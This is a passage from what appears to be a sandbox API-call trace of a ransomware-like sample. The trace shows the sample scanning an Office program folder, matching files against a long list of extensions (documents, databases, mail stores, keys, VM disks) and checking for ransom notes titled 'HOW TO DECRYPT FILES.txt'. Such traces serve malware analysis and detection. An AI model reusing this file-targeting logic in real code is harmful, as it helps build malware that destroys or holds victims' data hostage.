Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.mpeg") returned 0 [0064.822] lstrlenA (lpString="*.mpeg") returned 6 [0064.822] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.djvu") returned 0 [0064.822] lstrlenA (lpString="*.djvu") returned 6 [0064.823] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.tiff") returned 0 [0064.823] lstrlenA (lpString="*.tiff") returned 6 [0064.823] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.backup") returned 0 [0064.823] lstrlenA (lpString="*.backup") returned 8 [0064.823] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.pdf") returned 0 [0064.823] lstrlenA (lpString="*.pdf") returned 5 [0064.823] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.cert") returned 0 [0064.823] lstrlenA (lpString="*.cert") returned 6 [0064.823] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.docm") returned 0 [0064.823] lstrlenA (lpString="*.docm") returned 6 [0064.823] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.xlsm") returned 0 [0064.823] lstrlenA (lpString="*.xlsm") returned 6 [0064.823] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.dwg") returned 0 [0064.823] lstrlenA (lpString="*.dwg") returned 5 [0064.823] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.nd") returned 0 [0064.823] lstrlenA (lpString="*.nd") returned 4 [0064.823] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.tlg") returned 0 [0064.824] lstrlenA (lpString="*.tlg") returned 5 [0064.824] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.lgb") returned 0 [0064.824] lstrlenA (lpString="*.lgb") returned 5 [0064.824] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.mov") returned 0 [0064.824] lstrlenA (lpString="*.mov") returned 5 [0064.824] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.xdw") returned 0 [0064.824] lstrlenA (lpString="*.xdw") returned 5 [0064.824] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.ods") returned 0 [0064.824] lstrlenA (lpString="*.ods") returned 5 [0064.824] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.wav") returned 0 [0064.824] lstrlenA (lpString="*.wav") returned 5 [0064.824] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.mp3") returned 0 [0064.824] lstrlenA (lpString="*.mp3") returned 5 [0064.824] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.aiff") returned 0 [0064.824] lstrlenA (lpString="*.aiff") returned 6 [0064.824] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.flac") returned 0 [0064.824] lstrlenA (lpString="*.flac") returned 6 [0064.824] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.m4a") returned 0 [0064.825] lstrlenA (lpString="*.m4a") returned 5 [0064.825] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.csv") returned 0 [0064.825] lstrlenA (lpString="*.csv") returned 5 [0064.825] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="HOW TO DECRYPT FILES.txt", cAlternateFileName="HOWTOD~1.TXT")) returned 1 [0064.825] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.825] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="HOW TO DECRYPT FILES.txt") returned -1 [0064.825] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="HOW TO DECRYPT FILES.txt") returned 0 [0064.825] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x267, dwReserved0=0x18f3cc, dwReserved1=0x4f0048, cFileName="LAUNCH.GIF", cAlternateFileName="")) returned 1 [0064.825] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.825] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="LAUNCH.GIF") returned -1 [0064.825] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="LAUNCH.GIF") returned -1 [0064.825] lstrcmpiA (lpString1="", lpString2="LAUNCH.GIF") returned -1 [0064.825] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js") returned="form_edit.js" [0064.825] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" [0064.825] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="" [0064.825] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" [0064.826] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\how to decrypt files.txt")) returned 0x20 [0064.826] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="LAUNCH.GIF" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF" [0064.826] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.ems") returned 0 [0064.826] lstrlenA (lpString="*.ems") returned 5 [0064.826] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.db") returned 0 [0064.826] lstrlenA (lpString="*.db") returned 4 [0064.826] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.dbf") returned 0 [0064.826] lstrlenA (lpString="*.dbf") returned 5 [0064.826] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.myox") returned 0 [0064.826] lstrlenA (lpString="*.myox") returned 6 [0064.826] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.myo") returned 0 [0064.826] lstrlenA (lpString="*.myo") returned 5 [0064.826] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.qbw") returned 0 [0064.826] lstrlenA (lpString="*.qbw") returned 5 [0064.826] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.qbb") returned 0 [0064.826] lstrlenA (lpString="*.qbb") returned 5 [0064.826] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.qbm") returned 0 [0064.827] lstrlenA (lpString="*.qbm") returned 5 [0064.827] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.qbo") returned 0 [0064.827] lstrlenA (lpString="*.qbo") returned 5 [0064.827] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.qbx") returned 0 [0064.827] lstrlenA (lpString="*.qbx") returned 5 [0064.827] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.qba") returned 0 [0064.827] lstrlenA (lpString="*.qba") returned 5 [0064.827] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.qby") returned 0 [0064.827] lstrlenA (lpString="*.qby") returned 5 [0064.827] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.qbj") returned 0 [0064.827] lstrlenA (lpString="*.qbj") returned 5 [0064.827] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.ofx") returned 0 [0064.827] lstrlenA (lpString="*.ofx") returned 5 [0064.827] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.qif") returned 0 [0064.827] lstrlenA (lpString="*.qif") returned 5 [0064.827] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.mye") returned 0 [0064.827] lstrlenA (lpString="*.mye") returned 5 [0064.827] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.mbox") returned 0 [0064.827] lstrlenA (lpString="*.mbox") returned 6 [0064.828] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.eml") returned 0 [0064.828] lstrlenA (lpString="*.eml") returned 5 [0064.828] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.pst") returned 0 [0064.828] lstrlenA (lpString="*.pst") returned 5 [0064.828] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.ost") returned 0 [0064.828] lstrlenA (lpString="*.ost") returned 5 [0064.828] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.idx") returned 0 [0064.828] lstrlenA (lpString="*.idx") returned 5 [0064.828] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.dbx") returned 0 [0064.828] lstrlenA (lpString="*.dbx") returned 5 [0064.828] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.sql") returned 0 [0064.828] lstrlenA (lpString="*.sql") returned 5 [0064.828] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.mdb") returned 0 [0064.828] lstrlenA (lpString="*.mdb") returned 5 [0064.828] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.fdb") returned 0 [0064.828] lstrlenA (lpString="*.fdb") returned 5 [0064.828] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.wab") returned 0 [0064.828] lstrlenA (lpString="*.wab") returned 5 [0064.828] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.dat") returned 0 [0064.828] lstrlenA (lpString="*.dat") returned 5 [0064.829] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.txt") returned 0 [0064.829] lstrlenA (lpString="*.txt") returned 5 [0064.829] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.jpeg") returned 0 [0064.829] lstrlenA (lpString="*.jpeg") returned 6 [0064.829] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.jpg") returned 0 [0064.829] lstrlenA (lpString="*.jpg") returned 5 [0064.829] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.png") returned 0 [0064.829] lstrlenA (lpString="*.png") returned 5 [0064.829] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.php") returned 0 [0064.829] lstrlenA (lpString="*.php") returned 5 [0064.829] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.cs") returned 0 [0064.829] lstrlenA (lpString="*.cs") returned 4 [0064.829] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.cpp") returned 0 [0064.829] lstrlenA (lpString="*.cpp") returned 5 [0064.829] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.rar") returned 0 [0064.829] lstrlenA (lpString="*.rar") returned 5 [0064.829] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.zip") returned 0 [0064.829] lstrlenA (lpString="*.zip") returned 5 [0064.829] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.html") returned 0 [0064.829] lstrlenA (lpString="*.html") returned 6 [0064.829] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.htm") returned 0 [0064.829] lstrlenA (lpString="*.htm") returned 5 [0064.830] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.xlsx") returned 0 [0064.830] lstrlenA (lpString="*.xlsx") returned 6 [0064.830] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.xls") returned 0 [0064.830] lstrlenA (lpString="*.xls") returned 5 [0064.830] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.mp4") returned 0 [0064.830] lstrlenA (lpString="*.mp4") returned 5 [0064.830] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.ppt") returned 0 [0064.830] lstrlenA (lpString="*.ppt") returned 5 [0064.830] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.pptx") returned 0 [0064.830] lstrlenA (lpString="*.pptx") returned 6 [0064.830] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.doc") returned 0 [0064.830] lstrlenA (lpString="*.doc") returned 5 [0064.830] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.dot") returned 0 [0064.830] lstrlenA (lpString="*.dot") returned 5 [0064.830] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.docx") returned 0 [0064.830] lstrlenA (lpString="*.docx") returned 6 [0064.830] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.7z") returned 0 [0064.830] lstrlenA (lpString="*.7z") returned 4 [0064.830] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.tar") returned 0 [0064.831] lstrlenA (lpString="*.tar") returned 5 [0064.831] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.bz2") returned 0 [0064.831] lstrlenA (lpString="*.bz2") returned 5 [0064.831] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.gz") returned 0 [0064.831] lstrlenA (lpString="*.gz") returned 4 [0064.831] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.mkv") returned 0 [0064.831] lstrlenA (lpString="*.mkv") returned 5 [0064.831] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.eml") returned 0 [0064.831] lstrlenA (lpString="*.eml") returned 5 [0064.831] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.msg") returned 0 [0064.831] lstrlenA (lpString="*.msg") returned 5 [0064.831] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.edb") returned 0 [0064.831] lstrlenA (lpString="*.edb") returned 5 [0064.831] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.accdb") returned 0 [0064.831] lstrlenA (lpString="*.accdb") returned 7 [0064.831] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.odb") returned 0 [0064.831] lstrlenA (lpString="*.odb") returned 5 [0064.831] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.java") returned 0 [0064.832] lstrlenA (lpString="*.java") returned 6 [0064.832] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.asm") returned 0 [0064.832] lstrlenA (lpString="*.asm") returned 5 [0064.832] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.pfx") returned 0 [0064.832] lstrlenA (lpString="*.pfx") returned 5 [0064.832] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.pem") returned 0 [0064.832] lstrlenA (lpString="*.pem") returned 5 [0064.832] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.p12") returned 0 [0064.832] lstrlenA (lpString="*.p12") returned 5 [0064.832] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.gpg") returned 0 [0064.832] lstrlenA (lpString="*.gpg") returned 5 [0064.832] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.vsd") returned 0 [0064.832] lstrlenA (lpString="*.vsd") returned 5 [0064.832] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.odg") returned 0 [0064.832] lstrlenA (lpString="*.odg") returned 5 [0064.832] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.raw") returned 0 [0064.832] lstrlenA (lpString="*.raw") returned 5 [0064.832] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.nef") returned 0 [0064.832] lstrlenA (lpString="*.nef") returned 5 [0064.832] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.svg") returned 0 [0064.832] lstrlenA (lpString="*.svg") returned 5 [0064.833] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.psd") returned 0 [0064.833] lstrlenA (lpString="*.psd") returned 5 [0064.833] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.vmx") returned 0 [0064.833] lstrlenA (lpString="*.vmx") returned 5 [0064.833] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.vmdk") returned 0 [0064.833] lstrlenA (lpString="*.vmdk") returned 6 [0064.833] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.vdi") returned 0 [0064.833] lstrlenA (lpString="*.vdi") returned 5 [0064.833] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.lay6") returned 0 [0064.833] lstrlenA (lpString="*.lay6") returned 6 [0064.833] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.mpeg") returned 0 [0064.833] lstrlenA (lpString="*.mpeg") returned 6 [0064.833] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.djvu") returned 0 [0064.833] lstrlenA (lpString="*.djvu") returned 6 [0064.833] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.tiff") returned 0 [0064.833] lstrlenA (lpString="*.tiff") returned 6 [0064.833] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.backup") returned 0 [0064.833] lstrlenA (lpString="*.backup") returned 8 [0064.833] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.pdf") returned 0 [0064.834] lstrlenA (lpString="*.pdf") returned 5 [0064.834] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.cert") returned 0 [0064.834] lstrlenA (lpString="*.cert") returned 6 [0064.834] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.docm") returned 0 [0064.834] lstrlenA (lpString="*.docm") returned 6 [0064.834] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.xlsm") returned 0 [0064.834] lstrlenA (lpString="*.xlsm") returned 6 [0064.834] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.dwg") returned 0 [0064.834] lstrlenA (lpString="*.dwg") returned 5 [0064.834] PathMatchSpecA 